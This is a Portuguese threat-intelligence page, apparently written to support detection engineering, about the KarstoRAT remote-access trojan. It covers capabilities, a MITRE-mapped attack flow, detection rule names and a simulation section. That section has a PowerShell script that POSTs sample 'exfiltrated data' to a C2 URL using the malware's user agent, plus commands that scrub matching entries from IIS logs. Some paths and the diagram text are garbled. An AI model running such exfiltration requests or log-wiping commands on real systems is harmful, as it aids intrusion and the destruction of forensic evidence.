Uma Visão Detalhada sobre o Malware KarstoRAT: Inovador e Furtivo
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
KarstoRAT é um trojan de acesso remoto recentemente identificado, capaz de coletar informações do sistema, capturar áudio e feeds de webcam, tirar capturas de tela, registrar digitações e roubar tokens de autenticação. O malware mantém persistência, se comunica com seu servidor de comando e controle sobre HTTP através de um user agent personalizado distinto, e pode recuperar cargas adicionais para atividades posteriores. Ele também contém funções disruptivas, incluindo inversão de tela e reprodução forçada de áudio.
Investigação
A LevelBlue SpiderLabs examinou o fluxo de execução do KarstoRAT, comunicações de comando e controle, rotinas de exfiltração e métodos de persistência. O relatório destaca um loop infinito de dois segundos usado para manter o malware em execução e descreve os INICIALIZACAO_LIGADA and INICIALIZACAO_DESLIGADA comandos que controlam o comportamento de inicialização automática. Pesquisadores também documentaram a capacidade do malware de alterar o papel de parede da área de trabalho e remover-se quando instruído.
Mitigação
Esforços de detecção devem concentrar-se no user agent HTTP único do malware, entradas de registro suspeitas relacionadas a inicialização e comportamento anormal de loop de processos. Defesas de endpoint também devem observar a atividade em estilo sem arquivo descrita no relatório e bloquear binários desconhecidos entregues através do falso engodo do mercado Roblox.
Resposta
Se o KarstoRAT for identificado, isole o dispositivo afetado, preserve evidências forenses incluindo tráfego HTTP e artefatos de inicialização, e remova todos os mecanismos de persistência. As organizações devem alterar as credenciais expostas e continuar monitorando por quaisquer cargas secundárias que possam ter sido baixadas após o comprometimento inicial.
"gráfico TB %% Definições de classe classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Definições de nó action_user_execution["<b>Ação</b> – <b>T1204.001 Execução por Usuário: Link Malicioso</b><br/>A vítima clica em um link falso do mercado Roblox (engenharia social)."] class action_user_execution action persistence_boot_script["<b>Persistência</b> – <b>T1037 Scripts de Inicialização ou Logon</b><br/>O malware se registra em INICIALIZACAO_LIGADA/DESLIGADA para rodar automaticamente na inicialização ou logon."] class persistence_boot_script persistence credential_keylogging["<b>Acesso a Credenciais</b> – <b>T1056.001 Captura de Entrada: Keylogging</b><br/>O malware registra digitações para capturar credenciais e outros dados sensíveis."] class credential_keylogging credential collection_screen_capture["<b>Coleta</b> – <b>T1113 Captura de Tela</b><br/>O malware regularmente captura capturas de tela da área de trabalho da vítima."] class collection_screen_capture collection collection_audio_capture["<b>Coleta</b> – <b>T1123 Captura de Áudio</b><br/>O malware grava áudio do microfone do sistema."] class collection_audio_capture collection collection_video_capture["<b>Coleta</b> – <b>T1125 Captura de Vídeo</b><br/>O malware acessa a webcam para gravar vídeo da vítima."] class collection_video_capture collection –>|enables| discovery_process process discovery["<b>Descoberta</b> – <b>T1057 Descoberta de Processos</b><br/>O malware enumera processos em execução para identificar ferramentas de segurança ou aplicativos valiosos."] class discovery_process discovery discovery_hardware["<b>Descoberta</b> – <b>T1592.001 Coleta de Informações do Host da Vítima: Hardware</b><br/>O malware coleta detalhes de hardware como CPU, RAM e GPU."] class discovery_hardware discovery discovery_software["<b>Descoberta</b> – <b>T1592.002 Coleta de Informações do Host da Vítima: Software</b><br/>O malware reúne versões de software instaladas e patches."] class discovery_software discovery discovery_firmware["<b>Descoberta</b> – <b>T1592.003 Coleta de Informações do Host da Vítima: Firmware</b><br/>O malware extrai informações de firmware e BIOS."] class discovery_firmware discovery discovery_config["<b>Descoberta</b> – <b>T1592.004 Coleta de Informações do Host da Vítima: Configuração do Cliente</b><br/>O malware coleta configurações de configuração como idioma, fuso horário e parâmetros de rede."] class discovery_config discovery impact_remote_desktop["<b>Impacto</b> – <b>T1219.002 Software de Desktop Remoto</b><br/>O malware usa capacidades de desktop remoto para alterar o fundo de tela, inverter o display e trocar botões do mouse."] class impact_remote_desktop impact defense_self_destruct["<b>Evasão de Defesa</b> – <b>T1027.005 Remoção de Indicadores a partir de Ferramentas</b><br/>O malware se autodestrói e remove seus arquivos para apagar evidências."] class defense_self_destruct defense %% Conexões action_user_execution –>|leva a| persistence_boot_script persistence_boot_script –>|permite| credential_keylogging credential_keylogging –>|permite| collection_screen_capture collection_screen_capture –>|permite| collection_audio_capture collection_audio_capture –>|permite| collection_video_capture collection_video_capture –>|permite| discovery_process discovery_process –>|leva a| discovery_hardware discovery_hardware –>|leva a| discovery_software discovery_software –>|leva a| discovery_firmware discovery_firmware –>|leva a| discovery_config discovery_config –>|permite| impact_remote_desktop impact_remote_desktop –>|aciona| defense_self_destruct "
Fluxo de Ataque
Detecções
Escalamento de privilégio (bypass UAC) no FodHelper (via registry_event)
Proof of Value
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via registry_event)
Proof of Value
Possível Uso de Schtasks ou AT para Persistência (via cmdline)
Proof of Value
Possível Uso de PING para Atraso de Execução (via cmdline)
Proof of Value
Binário/Scripts Suspeito no Local de Inicialização Automática (via file_event)
Proof of Value
Tentativa de Comunicação de Domínio de Pesquisa de IP Possível (via dns)
Proof of Value
Possível Serviço de Túnel de Porta (via dns)
Proof of Value
Detecção de Comunicação C2 do KarstoRAT [Conexão de Rede do Windows]
Proof of Value
Detecção de Atividades Malware KarstoRAT [Criação de Processo do Windows]
Proof of Value
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica (TTP) do adversário projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque e Comandos:
O atacante obteve um ponto de apoio na rede da vítima e deseja estabelecer um canal de comando e controle para o KarstoRAT. Para se misturar com o tráfego legítimo, o malware usa uma string User-Agent codificada “SecurityNotifier”. O atacante executa um comando PowerShell no host comprometido que emite um HTTP POST para o servidor C2, incorporando o cabeçalho UA. A solicitação inclui uma pequena carga de JSON imitando dados exfiltrados, suficiente para acionar a regra sigma. -
Script de Teste de Regressão:
# simulação de C2 de KarstoRAT – PowerShell $c2Url = "http:///karsto_c2" $payload = @{ host = $env:COMPUTERNAME data = "dados exfiltrados de amostra" } | ConvertTo-Json $headers = @{ "User-Agent" = "SecurityNotifier" "Content-Type" = "application/json" } try { Invoke-WebRequest -Uri $c2Url ` -Method POST ` -Headers $headers ` -Body $payload ` -UseBasicParsing Write-Host "Solicitação C2 enviada." } catch { Write-Error "Falha ao enviar solicitação C2: $_" } -
Comandos de Limpeza:
# Remove solicitação gerada dos logs do IIS (requer direitos de administrador) $logPath = "C:inetpublogsLogFilesW3SVC1" Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object { (Get-Content $_.FullName) | Where-Object { $_ -notmatch "SecurityNotifier" } | Set-Content $_.FullName } Write-Host "Logs sanitizados."